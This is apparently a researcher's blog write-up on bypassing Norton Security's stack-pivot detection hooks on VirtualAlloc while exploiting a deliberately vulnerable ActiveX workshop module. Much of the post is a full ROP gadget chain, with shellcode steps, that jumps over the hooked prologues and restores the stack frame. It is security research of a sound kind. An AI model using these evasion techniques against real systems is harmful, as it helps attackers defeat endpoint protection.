Hey, today I am not going to talk about CANToolz! Surprise 8)
Let me start this story from the beginning - I just got a new laptop, and by default there was installed a
Norton Security. And I have 60 days evaluation time. And this is ok (except that part when Norton have decided to delete my
Radare2, that was awful... ).
One day I have decided to test my old
Zeronights 2012 workshop about x86 exploitation (
http://www.slideshare.net/DefconRussia/sintsov-advanced-exploitation-in-win32). And I was surprised that
Norton have stopped my UAF exploit... good job! (if you interested in that lab, you can get it here:
https://github.com/defcon-russia/activex_workshop/tree/master/Use_After_Free_x32)
But it was interesting for me - how it works and how we could bypass it... And then I have started playing with it online - while streaming this on our TWICH (h
ttps://www.twitch.tv/defconrussia, sorry Russian lang), so my friends from
Defcon-Russia (
DC 7812) could do it with me online 8)
First finding: Norton could detect only StackPivots, and it's done with help of ring3 hooks on critical functions, like LoadLibrary, VirtualProtect and VirtualAlloc. So they have injected their JUMPS in function's prologue and intercept all calls. In their handler they can check if current stack frame is "original". If not, then they raising an exception like on that screenshot. So if during exploit there are no Stack Pivotings happened (let's say simple BoF where ROP and shellcode in the same stack) then attack will be not stopped and detected.
Let's see their hooks on VirtualAlloc where my ROP shellcode fails after StackPivot:
First hook is in the kernel32 wrapper and then second hook in kernelbase:
This could be bypassed via different methods for example attacker could copy ROP shellcode with VirtualAlloc call into original stack with help of stage1 ROP shellcode and than switch "original" stack frame back, or he could bypass hooks by restoring function's prologue and jump over the hook. During the stream we decided to try both strategies just for fun:
1) ROP shellcode will bypass VirtualAlloc via jumps over two hooks.
2) Then normal shellcode will restore original stack frame and execute LoaldLibrary and other functions without any exceptions.
BTW, when I started this activity,
@matrosov told me about their research, where this topic was covered as well:
https://www.blackhat.com/docs/us-16/materials/us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations.pdf So topic is a really well-known problem! And looks like guys from Symantec (and not only, others Security vendors also have same issues) already aware about this.
Bypassing two hooks in ROP's VirtualAlloc call:
My original exploit have leaked pointer to VirtualAlloc call from kernel32, If we want to bypass these hooks, we need to call VirtualAlloc from kernelbase, and we need to "jump" on that address with offset in 5 bytes from the beginning. Directly on first "push ecx".
We did it like that:
esi <- VirtualAlloc pointer
So we build ROP that doing:
mov eax, [esi + 8] ; read kernelbase.virtualalloc pointer
mov eax, [eax] ; get this pointer
add eax, 5 ; get pointer over the hook, directly to first "push ecx"
But you could not do "jmp eax", because prologue of kernelbase.VirtualProtect was "overwritten" by hook, so first you need to restore original EBP value (because this register is used as a pointer for parameters)
lost VirtualAlloc prologue:
push ebp
mov ebp, esp
So we need to be sure that at the moment of the jump we will have pre-calculated EBP value that will be equal to ESP. It is mean that we need to do mov ebp,esp just before we will do "jmp eax". Then hook will be bypassed. Of course when you do it via ROP it is a little bit more difficult, because ROP always changes ESP pointer. But finally we did it (ROP for my vulnerable workhsop ActiveX module, ASLR enabled, so addresses here just for an example):
1) This is ROP shellcode after stack pivot, we have original stack pointer stored in EDI
2) Let's pre-calc EBP (EBP should be same as ESP when VirtualAlloc will be called)
>0x5bf2b484 : # POP EAX # RETN
>204 : # offset to EBP
>0x5be63cd8 : # PUSH ESP # POP EBP # RETN 04
>0x5bf014a9 : # XCHG EAX,EBP # RETN
>0x90909090 : # TRASH
>0x5bf08c87 : # ADD EAX,EBP # RETN
>0x5bf014a9 : # XCHG EAX,EBP # RETN
3) Here we want to calc address of VirtuallAlloc in kernelbase after all Norton's hooks
# EAX = kernelbase.virtalloc + offset_over_the_hook
>0x5bee1907 : # POP ECX # RETN [npexploitMe.dll]
>0x5bf32114 : # ptr to &VirtualAlloc() [IAT npexploitMe.dll]
>0x5bed6fb0 : # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll]
>0x5bedba6d : # ADD EAX,8 # RETN
>0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bee809a : # INC EAX # RETN
4) Prepare parameters for VirtualAlloc
>0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be8936f : # XOR EAX,EAX # RETN
>0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP
>0x5bed87dd : # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN
; EDX = EBP, pointer to place where we want to store our VA parameters
>0x11223344 : # trash to esi
>0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be98313 : # MOV EAX,ESI # RETN
>0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; save VA call address (1)
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN ; DWORD* pointer++
>0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; not needed, new EBP (2)
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bf2b484 : # POP EAX # RETN ; put return address after VA call int EAX
>0x5be63ce2 : # PUSH ESP # RETN ; this will be executed after VA (goes to EAX right now)
>0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; Retuen address (3)
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5be8936f : # XOR EAX,EAX # RETN
>0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP
>0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; pointer to page (4)
>0x5bef49e2 : # INC EBP # RETN
>0x5bef49e2 : # INC EBP # RETN
>0x5bef49e2 : # INC EBP # RETN
>0x5bef49e2 : # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored...
>0x5bee809b : # RETN
>0x11111111 : # This will be overwritten by (1)
>0x22222222 : # This will be overwritten by (2)
>0x22222222 : # Retuen address after VA call, will be overwritten by (3)
>0x33333333 : # First VA parameter - pointer, overwrittem by (4)
>0x00000001 : # Second VA parameter: size
>0x00001000 : # Third VA parameter: AllocationType = MEM_COMMIT
>0x00000040 : # Last VA parameter: R_X
After that normal shellcode can be executed from R_X memory. We still have the original stack frame pointer in EDI, we did not use this register during ROP, so now shellcode could restore original stack frame (second strategy) and continue execution without problems from Norton Security:
mov esp, edi
Now we have bypassed this protection and able to execute our code for the workshop exploit with no problems. Too simple. And this tricks are kind universal and will work in most setups (like same ROP and shellcode will be executed same way on boxes without Norton, and with Norton, so attacker will not need two different payloads/shellcodes)
P.S.
For me it was funny to stream this small ans simple "research" and I got a lot of help from the community, finally we all had fun time and learned about security something.